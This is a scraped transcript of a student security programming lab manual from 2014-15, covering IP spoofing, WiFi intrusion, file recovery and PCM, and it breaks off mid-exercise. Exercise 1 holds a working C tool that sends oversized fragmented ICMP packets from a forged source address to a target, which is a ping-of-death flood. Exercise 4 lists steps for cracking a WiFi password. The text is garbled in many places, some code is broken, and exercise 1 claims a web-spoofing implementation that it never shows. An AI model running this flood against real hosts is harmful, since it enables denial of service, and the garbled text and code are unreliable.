PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47...

59
1

Transcript of PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47...

Page 1: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

1

Page 2: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

AMRUTVAHINI COLLEGE OF ENGINEERING, SANGAMNER

DEPARTMENT OF COMPUTER ENGINEERING

A

Lab Manual

for

PROGRAMMING LABORATORY

Third Year Computer Engineering

Prepared by

Ms.Gosavi Swati Prabhakar

Roll No. 47

T.E. Computer Engineering

Batch : 2014-15

UNDER THE GUIDANCE OF

Mr.Sonkar S.K.

Assistant Professor, Computer Department

Page 3: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

AMRUTVAHINI COLLEGE OF ENGINEERING, SANGAMNER

DEPARTMENT OF COMPUTER ENGINEERING

CERTIFICATE

This is to certify that

Ms.Gosavi Swati Prabhakar

Roll No. 47

has completed the termwork in

Programming Laboratory-II

T.E. (Computer Engineering)

satisfactorily for the partial fulfillment of requirements

for the T.E. Computer Engineering from University of

Pune during academic year 2014-15

Mr.sonkar S.K. Mr. R. L. PaikraoSubject Incharge HOD CompEngg.

Page 4: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

Contents

Certificate i

Contents iv

1 Aim : 11.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1.1 Introduction of IP Spoofing: . . . . . . . . . . . . . . . . 11.1.2 Introduction of Web Spoofing: . . . . . . . . . . . . . . . 1

1.2 Program: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.4 Conclusion: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Aim: 62.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.1.1 Introduction: . . . . . . . . . . . . . . . . . . . . . . . . . 62.1.2 Working: . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

3 Aim : 83.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

3.1.1 File recovery: . . . . . . . . . . . . . . . . . . . . . . . . . 83.1.2 Partition Recovery Include:- . . . . . . . . . . . . . . . . . 93.1.3 Partition is deleted or Partition Table is damaged: . . . . 103.1.4 Missing or Corrupted System Files: . . . . . . . . . . . . . 10

3.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

4 Aim : 124.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124.2 Algorithm: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134.3 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

5 Aim : 145.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145.2 Algorithm : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145.3 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155.4 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165.5 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

6 Aim : 186.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

6.1.1 What is an Email Header?: . . . . . . . . . . . . . . . . . 186.1.2 Header : . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186.1.3 Header Characteristics : . . . . . . . . . . . . . . . . . . . 18

6.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Page 5: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

7 Aim : 227.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

7.1.1 What is a fingerprint? . . . . . . . . . . . . . . . . . . . . 227.1.2 Fingerprint recognition: . . . . . . . . . . . . . . . . . . . 237.1.3 Fingerprint Image Enhancement : . . . . . . . . . . . . . 237.1.4 Fingerprint Image Binarization: . . . . . . . . . . . . . . . 237.1.5 Fingerprint Image Segmentation: . . . . . . . . . . . . . . 24

7.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

8 Aim : 268.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

8.1.1 Installation steps : . . . . . . . . . . . . . . . . . . . . . . 278.2 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

9 Aim : 289.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

10 Aim : 3610.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

10.1.1 Tampering Operation Identification : . . . . . . . . . . . 3610.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3710.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4110.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

11 Aim : 4211.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4211.2 Types of Honeypots: . . . . . . . . . . . . . . . . . . . . . . . . . 4211.3 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4311.4 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4411.5 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

12 Aim : 4512.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

12.1.1 Digital Signature: . . . . . . . . . . . . . . . . . . . . . . . 4512.1.2 How they work? . . . . . . . . . . . . . . . . . . . . . . . 4512.1.3 Applications of digital signatures: . . . . . . . . . . . . . . 45

12.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4612.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4712.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

13 Aim : 4813.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

13.1.1 Log Capturing : . . . . . . . . . . . . . . . . . . . . . . . 4813.1.2 Event Correlation : . . . . . . . . . . . . . . . . . . . . . . 48

13.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

Page 6: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

13.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5013.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

14 Aim : 5114.1 Theory : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

14.1.1 CAPTCHA: . . . . . . . . . . . . . . . . . . . . . . . . . . 5114.1.2 Features: . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

14.2 Program : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5214.3 Output : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5314.4 Conclusion : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

Page 7: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

1 Aim :

Implementation of following spoofing assignments using C++ multi-core Pro-gramming.a. IP Spoofingb. Web spoofing.

1.1 Theory :

1.1.1 Introduction of IP Spoofing:

• IP spoofing is the creation of IP packets using somebody else IP sourceaddresses.

• This technique is used for obvious reasons and is employed in several ofthe attacks discussed later.

• Examining the IP header, we can see that the first 12 bytes contain variousinformation about the packet.

• The next 8 bytes contains the source and destination IP addresses.

• Using one of several tools, an attacker can easily modify these addressesspecifically the source address field.

• A common misconception is that IP spoofing can be used to hide our IPaddress while surfing the Internet,online chatting and sending email, andso on. This is generally not true.

• Forging the source IP address causes the responses to be misdirected,meaning you cannot create a normal network connection.

1.1.2 Introduction of Web Spoofing:

• An Internet security attack that could endanger the privacy of World WideWeb users and the integrity of their data.

• The attack can be carried out on today’s systems, en- dangering usersof the most common Web browsers, including Netscape Navigator andMicrosoft Internet Explorer.

• Web spoofing allows an attacker to create a shadow copy of the entireWorld Wide Web.

• Accesses to the shadow Web are funnelled through the attackers machine,allowing the attacker to monitor all of the victims activities including anypasswords or account numbers the victim enters.

• The attacker can also cause false or misleading data to be sent to Webservers in the victims name, or to the victim in the name of any Webserver.

• In short, the attacker observes and controls everything the victim does onthe Web.

Page 8: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• Web spoofing is a kind of electronic con game in which the attacker createsa convincing but false copy of the entire World Wide Web.

• The false Web looks just like the real one: it has all the same pages andlinks.

• However, the attacker controls the false Web, so that all network trafficbetween the victims browser and the Web goes through the attacker.

1.2 Program:

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <string.h>

#include <arpa/inet.h>~Aa

int main(int argc, char *argv[])

{

int s, i;

char buf[400];

struct ip *ip = (struct ip *)buf;

struct icmphdr *icmp = (struct icmphdr *)(ip + 1);

struct hostent *hp, *hp2;

struct sockaddr_in dst;

int offset;

int on;

int num = 100;

if(argc < 3)

{

printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);

printf("- saddress is the spoofed source address\n");

printf("- dstaddress is the target\n");

printf("- number is the number of packets to send, 100 is the default\n");

exit(1);

}

/* If enough argument supplied */

if(argc == 4)

/* Copy the packet number */

num = atoi(argv[3]);

/* Loop based on the packet number */

for(i=1;i<=num;i++)

Page 9: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

{

on = 1;

bzero(buf, sizeof(buf));

/* Create RAW socket */

if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

perror("socket() error");

/* If something wrong, just exit */

exit(1);

}

/* socket options, tell the kernel we provide the IP structure */

if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)

{

perror("setsockopt() for IP_HDRINCL error");

exit(1);

}

if((hp = gethostbyname(argv[2])) == NULL)

{

if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1)

{

fprintf(stderr, "%s: Can’t resolve, unknown host.\n", argv[2]);

exit(1);

}

} else

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

/* The following source address just redundant for target to collect */

if((hp2 = gethostbyname(argv[1])) == NULL)

{

if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1)

{

fprintf(stderr, "%s: Can’t resolve, unknown host\n", argv[1]);

exit(1);

}

}

else

bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), argv[1]);

/* Ip structure, check the~Aa ip.h~Aa */

ip->ip_v = 4;

ip->ip_hl = sizeof*ip >> 2;

ip->ip_tos = 0;

ip->ip_len = htons(sizeof(buf));

ip->ip_id = htons(4321);

ip->ip_off = htons(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0;~Aa /* Let kernel fills in */

Page 10: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;

icmp->code = 0;

/* Header checksum */

icmp->checksum = htons(~(ICMP_ECHO << 8));

for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))

{

ip->ip_off = htons(offset >> 3);

if(offset < 65120)

ip->ip_off |= htons(0x2000);

else

ip->ip_len = htons(418); /* make total 65538 */

/* sending time */

if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)

{

fprintf(stderr, "offset %d: ", offset);

perror("sendto() error");

}

else

printf("sendto() is OK.\n");

/* IF offset = 0, define our ICMP structure */

if(offset == 0)

{

icmp->type = 0;

icmp->code = 0;

icmp->checksum = 0;

}

}

/* close socket */

close(s);

usleep(30000);

}

return 0;

}

1.3 Output :

/*OUTPUT

[root@localhost jyoti]# gcc myping.c -o myping

[root@localhost jyoti]# ./myping

Usage: ./myping <saddress> <dstaddress> [number]

- saddress is the spoofed source address

- dstaddress is the target

- number is the number of packets to send, 100 is the default

[root@localhost jyoti]#./myping~Aa 178.72.14.0~Aa 178.74.26.2 10000

Page 11: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

sendto() is OK.

sendto() is OK.

...

...

sendto() is OK.

sendto() is OK.

Sending to 178.72.14.0 from spoofed 178.74.26.2

sendto() is OK.

*/

1.4 Conclusion:

Here we conclude that IP address get spoofed by practical implementation onLocal area Network and URL also get spoofed by Implementation.

Page 12: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

2 Aim:

A fire is to be detected using relevant wireless sensor network installed in aremote location to communicate the data to the central server for the monitoringpurpose and detection of the fire. Write a program to implement the systemusing WSN and Different data communication strategies/ algorithms (at leasttwo) to compare the reliability of the data received and efficient timing.

2.1 Theory :

2.1.1 Introduction:

• The improvement of the level of modernization of forest fires monitoringusing information and communication technologies has strategic signifi-cance for many countries where forest fires occur frequently.

• Compared with the traditional techniques of forest fires detection, wirelesssensor networks (WSNs) technology is a very promising green technologyfor the future in detecting efficiently the forest fires.

• Faced with these horrific numbers, it becomes very urgent to review theclassical forest fires detection methods for which a key problem is thatwhen the fire becomes large it becomes very difficult to put out.

• In this case, a wireless sensor network (WSN) technology could be de-ployed to detect a forest fire in its early stages.

• A number of sensor nodes need to be pre-deployed in a forest.

• Each sensor node can gather different types of row data from sensors, suchas temperature, humidity, pressure and position.

• All sensing data are sent wirelessly in ad-hoc fashion to a sink station,which in turn transmits data to the control center via a transport networksuch as GSM, UMTS, Satellite, TCP/IP networks.

• The networked system must be real time; otherwise it will be of no use.

2.1.2 Working:

• During Normal situation [No forest fire] At the time interval X and ifthe Temperature is T which is the output of the TSS arrangement at thenormal condition that is when there is no forest fire.

• This will be the initial readings from the setup and these readings will bethe reference data/value for further observations.

• Since the setup is continuous monitoring process there will be some spikes/slightvariation in the temperature sensed by the TSS arrangement because ofphysical reasons like temperature of the forest going high during summer,possibly lightning etc but such slight variations can be neglected.

Page 13: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• During the forest fire:The Basic observation during the forest fire is thatthe Temperature of the environment goes very high and deviates morefrom the normal temperature readings.

• This criteria boosts up the probability of finding the forest fire using tem-perature sensors. Since during the forest fire, the surrounding temperaturegoes high the value/ output from TSS arrangement deviates more fromthe initial and basic reading. Then at the time interval X+nth, the tem-perature will beT+N (N-increased value).

• Since this is a continuous monitoring system, the increased temperatureis detected at monitoring systems of the ground station.

• The circuitry is developed in such a way that when the output of the TSSarrangement is increased/ deviated from fixed threshold value of temper-ature, the circuit triggers the GPS module to send the co-ordinates to thesatellite and then satellite transmits these co-ordinates as a data to theground station where it is decoded to know where exactly the forest firehas occurred.

2.2 Conclusion :

Hence, we have successfully studied concept of Wireless Sensor Network.

Page 14: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

3 Aim :

Write a computer forensic application program in Python for Recovering DeletedFiles and Deleted Partitions.

3.1 Theory :

3.1.1 File recovery:

• The workings of data recovery depend on the file system on which thedeleted file was stored.

• Some file systems, such as HFS, cannot provide data recovery featurebecause no information about the deleted file is retained (except by addi-tional software, which is not usually present). Some file systems, however,do not erase all traces of a deleted fire, including the FAT file system:

• FAT file system: When a file is deleted using a FAT file system, thedirectory entry remains unchanged, preserving most of the ”deleted” file’sname, along with its time stamp, file length and most importantly itsphysical location on the disk. The list of disk clusters occupied by thefile will, however, is erased from the File Allocation Table, marking thosesectors available for use by other files created or modified thereafter. Whendata recovery operation is attempted, the following conditions must be metfor a successful recovery of the file:-

• The entry of the deleted file must still exist in the directory, meaning thatit must not yet be overwritten by a new file (or folder) that has beencreated in the same directory. Whether this is the case can fairly easilybe detected by checking whether the remaining name of the file to beundeleted is still present in the directory.

• The sectors formerly used by the deleted file must not be overwrittenyet by other files. This can fairly well be verified by checking that thesectors are not marked as used in the File Allocation Table. However,if, in the meantime, a new file had been written to the disk, using thosesectors, and then deleted again, freeing those sectors again, this cannot bedetected automatically by the data recovery program. In this case datarecovery operation, even if appearing successful, might fail because therecovered file contains different data.

• File Recovery Process: File recovery process can be brief y describedas drive or folder scanning to find deleted entries in Master File Table(MFT) then for the particular deleted entry, defining clusters chain tobe recovered and then copying contents of these clusters to the newlycreated file. Different file systems maintain their own specific logical datastructures, however basically each file system:

• Has a list or catalog of file entries, so we can iterate through this list andentries, marked as deleted

• Keeps for each entry a list of data clusters, so we can try to find out setof clusters composing the file

Page 15: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• After finding out the proper file entry and assembling set of clusters, com-posing the file, read and copy these clusters to another location.Partition Recovery Concept:-

• System Boot Process: In most cases, the first indication of a problemwith hard drive data is a refusal of the machine to boot properly. For thecomputer to be able to find startup partition and to start booting, thefollowing conditions must apply:-

• Master Boot Record (MBR) or GIUD Partition Table (GPT) exists andis safe.

• Partition Table exists and contains at least one Active partition.

• Active partition contains all necessary and not damaged system files forthe OS launch.

• If the above is in place, executable code in the MBR selects an activepartition and passes control there, so it can start loading the standardfiles (COMMAND.COM, NTLDR, BOOTMGR ...) depending on the OSand the file system type on that partition. If these files are missing orcorrupted it will be impossible for the OS to boot you understand thesituation if you have ever seen the famous NTLDR is missing ... errormessage.

• Volume Visibility: A more serious situation exists if your computerwill start and cannot see a drive partition. For the partition to be visibleto the Operating System the following conditions must apply:

• Partition/Drive can be found via Partition Table.

• Partition/Drive/Volume boot sector is safe.

• Volume system areas (MFT, Root) are safe and accessible.

• If the above conditions are true, the Operating System can read the par-tition or physical drive parameters and display the drive in the list of theavailable drives.

• If the file system is damaged (Master File Table (MFT) records on NTFS)the drives content might not be displayed and we might see errors like MFTis corrupted, or Drive is invalid. If this is the case it is less likely that youwill be able to restore your data in full.

• Do not despair, as there may be some tricks or tips to display some ofthe residual entries that are still safe, allowing you to recover your datato another location.

3.1.2 Partition Recovery Include:-

• Physical partition recovery: The goal is to identify the problem andwrite information to the proper place on the hard drive (to MBR and BootSectors) so that the partition becomes visible to the Operating Systemagain.

Page 16: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• This can be done using manual Disk Editors along with proper guidelinesor using partition recovery software, designed specifically for this purpose.Virtual partition recovery: The goal is to determine the critical parame-ters of the deleted/damaged/overwritten partition and render it open toscanning in order to display its content to copy important data to the safeplace.

• This approach can be applied in some cases when physical partition re-covery is not possible (for example, partition boot sector is dead andphysically unreadable) and is commonly used by file recovery software.

• This process is almost impossible to implement it manually.

3.1.3 Partition is deleted or Partition Table is damaged:

• The information about primary partitions and extended partition is con-tained in the Partition Table, a 64-byte data structure, located in the samesector as the Master Boot Record (cylinder 0, head 0, sector 1).

• The Partition Table conforms to a standard layout, which is independentof the operating system.

3.1.4 Missing or Corrupted System Files:

For Operating System to boot properly, system files required to be safe.

• Windows Vista, Windows 2008 Server, Windows 7 - BOOTMGR andBoot folder located at the root folder of the bootable volume. Boot foldershould contain BCD file containing bootable configuration.

• Windows NT / 2000 / XP / Windows 2003 Server NTLDR, ntdetect.com,boot.ini,located at the root folder of the bootable volume, Registry files (i.e.,SAM,SECURITY, SYSTEM and SOFTWARE), etc.

• Windows 95 / 98 / ME - msdos.sys, con

g.sys, autoexec.bat,system.ini,at the root folder, system.dat, user.dat, etc.

3.2 Program :

import os

import re

path="/root/.local/share/Trash/files"

infopath="/root/.local/share/Trash/info"

dirlist=os.listdir(path).#list of file which present in file folder

directory=[]

popis=""

for fname in dirlist: .

directory.append(fname)

popis=popis + " " + fname print popis

fname=raw_input("\nEnter the file name which toyou want to recover")

a=open(infopath+"/"+fname+".trashinfo","r")

for line in a:

Page 17: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

if "Path=" in line: ab=re.findall(r’/.*’,line)

destipath=str(ab)

destipath= destipath.lstrip(’[’)

destipath=destipath.rstrip(’]’)

destipath=destipath[:-1]

destipath=destipath[1:]

print "destination path is"+ destipath

file1 = open(path+"/"+fname,"r")

file2 = open(destipath,"w")

file2.write(file1.read())

file1.close()

file2.close()

print "files is recovered to desination" os.remove(path+"/"+fname)

os.remove(infopath+"/"+fname+".trashinfo")

3.3 Output :

[root@localhost ~]# cd

[root@localhost ~]# pwd /root

[root@localhost ~]# cd .local

[root@localhost .local]# ls share

[root@localhost .local]# cd.share bash: cd.share: command not found...

[root@localhost .local]# cd share

[root@localhost share]# ls color grilo-plugins nautilus tracker evolution gsettings-data-convert recently-used.xbel Trash folks gvfs-metadata shotwell webkit gnome-settings-daemon icc telepathy

gnome-shell keyrings totem

[root@localhost share]# cd Trash

[root@localhost Trash]# ls expunged files info

[root@localhost Trash]# cd info

[root@localhost info]# ls nasm.2.rpm.trashinfo usr (2).trashinfo usr.trashinfo nasm.rpm.trashinfo usr (3).trashinfo

[root@localhost info]# pwd /root/.local/share/Trash/info

[root@localhost info]# cd

[root@localhost ~]# python restorefile.py usr (3) nasm.rpm usr (2) usr nasm.2.rpm

Enter the file name which toyou want to recovernasm.rpm destination path is/root/nasm.rpm

files is recovered to desination

[root@localhost ~]#

3.4 Conclusion :

Hence, we have successfully concept of recovery of files and Deleted Partitions.

Page 18: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

4 Aim :

A person on a nearby road is trying to enter into a WiFi network by try-ing to crack the Password to use the IP Printer resource; write a program inJava/Python/C++ to detect such attempt and prohibit the access. Developthe necessary scenario by Using an IEEE 802.11,configure a Wi-Fi adapter andAccess Point.

4.1 Theory :

1. Whether you are a computer novice or a pro-level geek, you probably havesome idea about Wi security.

2. You know that you need to have some kind of password prefer- ably along password,

3. maybe even with some punctuation; and you also know that there is asetting on your router to hide the network name so other people cant see it.

4. You have done all that, and now your sitting there safe and sound in theknowledge that your network is on lock-down.

5. Really? You might want to keep reading, as we dispel a few commonbeliefs about Wi security.

Features:

1. Draft 802.11n wireless networking delivers greater throughput and ex-tended range, maximizing the number of wireless clients per access point foryour small business.

2. Easy installation and configuration via a web interface

3. Adjustable and removable dipole antennas with multiple-input, multiple-output (MIMO) 3x3 diversity

4. Gigabit Ethernet LAN interface

5. Supports PoE and external DC power

6. HTTP Redirect facilitates the display of a splash page on initial useraccess

7. IPv6 host support for managing the access point over IPv6

8. Multiple basic service set identifier (BSSID) support allows the creationof multiple secure wireless work-groups for users and guests.

9. Service set identifier (SSID) to VLAN mapping maintains applicationsecurity and quality across wireless and wired

Page 19: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

10. WPS allows for simple and secure deployment of the wireless network

11. Logging via syslog, email, or local log

12. Wi-Fi Multimedia (WMM) wireless QoS support

4.2 Algorithm:

1. Start

2. Install and use ”Wi password nder tool” to crack the password.

3. Install and use Ip printer to break the network.

4. use IP addresses to detect and prohibit the access in network.

5. use IEEE 802.11 standard to congure a Wi adapter and access points.

4.3 Conclusion :

Thus,in this way we studied how to Crack the wi password and configure wifiadapter

Page 20: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

5 Aim :

Write a program to implement Pulse Code Modulation Technique to transferthe data to other computer.

5.1 Theory :

• Pulse code Modulation: The pulse code modulator technique samples theinput signal x(t) at a sampling frequency.

• This sampled variable amplitude pulse is then digitalized by the analog todigital converter.

• In the PCM generator, the signal is first passed through sampler which issampled at a rate of (fs).

• The output of the sampler x(nTs) which is discrete in time is fed to aq-level quantizer.

• The quantizer compares the input x(nTs) with it’s fixed levels. It assignsany one of the digital level to x(nTs) that results in minimum distortionor error.

• The error is called quantization error, thus the output of the quantizer isa digital level called q(nTs).

• The quantized q(nTs) PCM Sampling Process q-level quantizer Binaryencoder x(t) x(nTS) signal level q(nTs) is binary encode.

5.2 Algorithm :

1. start

2. Accept the input from user i.e. Amplitude,Frequency,Time.

3. Draw sine wave x(t)= Asin (2ft)

4. Take samples i.e. pulses of amplitude.

5. Accept quantization level.

6. Calculate quantization level

7. Calculate quantization code

8. Convert quantization code into binary.

9. Send these code words from one PC-to another PC.

10. Save these code words in one .txt file.

11. Run server program and client program send these

le from client to server.

12. Accept server input of client.

13. End.

Page 21: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

5.3 Program :

#include<math.h>

#include <iostream>

#include <fstream>

//#include<math.h>

using namespace std;

int main() {

int x[512],z[512],code[512],A;

cout<<"Enter Amplitude:";cin>>A;

float f;

cout<<"Enter frequency:";cin>>f;

f=1.0/f;

int t=0,T;

cout<<"Enter time:";cin>>T;

cout<<"Sample Values:";

for(t=0;t<=T;t++)

{

x[t] = A * sin(2 * 22.0/7 * f * t); //sine wave input in sine1.txt

cout<<x[t]<<" ";

}

cout<<"\n\n";

int b,size,m;

cout<<"Enter No of bits for Quantisation code:";cin>>b;

m=pow(2,b-1);

cout<<"\nM:"<<m;

size=A/pow(2,b-1);

cout<<"\n\tSize:"<<size;

cout<<"\n";

int p,n,k;

cout<<"\n <<<<quantization ValueS:";

for(t=0;t<=T;t++)

{

if(x[t]>=0){

p=0;n=size;

for(k=0;k<m;k++)

{

if(x[t]>=p&&x[t]<=n)

{

z[t]=k+m;

break;

}

p=n;

n=n+size;

}}

else

{

p=-1;n=-size;

for(k=0;k<m;k++)

{

Page 22: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

if(x[t]<=p&&x[t]>=n)

{

z[t]=m-k-1;

break;

}

p=n;

n=n-size;

}}

cout<<" "<<z[t];//<<" "<<p<<" "<<n;}

// this logic for creating Binary Codes.

cout<<"\n\n";

cout<<"\n <<<<quantization Code:";

long i,rem,j=0,sum=0;

fstream fptr;

// object of fstream class

fptr.open("DataBase.txt", ios::out); //cretaes a file in write/read mode

for(j=0;j<=T;j++)

{i=1; sum=0;

do

{ rem=z[j]%2;

sum=sum + (i*rem);

z[j]=z[j]/2;

i=i*10;

}while(z[j]>0);

cout<<"\t "<<sum;

code[j]=sum;

fptr<<"\t"<<sum;

}

fptr.close(); // close the file

cout<<"\n";

/*cout<<"\n"<<"Code:";

for(int r=0;r<=T;r++)

{

cout<<"\t"<<code[r];

}*/

cin.get();

return 0;

}

5.4 Output :

[cg23@localhost ~]$ g++ PCM.cpp

[cg23@localhost ~]$ ./a.out

Enter Amplitude:20

Enter frequency:9

Enter time:43

Sample Values:0 12 19 17 6 -6 -17 -19 -12 0 12 19 17 6 -6 -17 -19 -12 0 12 19 17 6 -6 -17 -19 -12 0 12 19 17 6 -7 -17 -19 -12 0 13 19 17 6 -7 -17 -19

Enter No of bits for Quantisation code:4

M:8

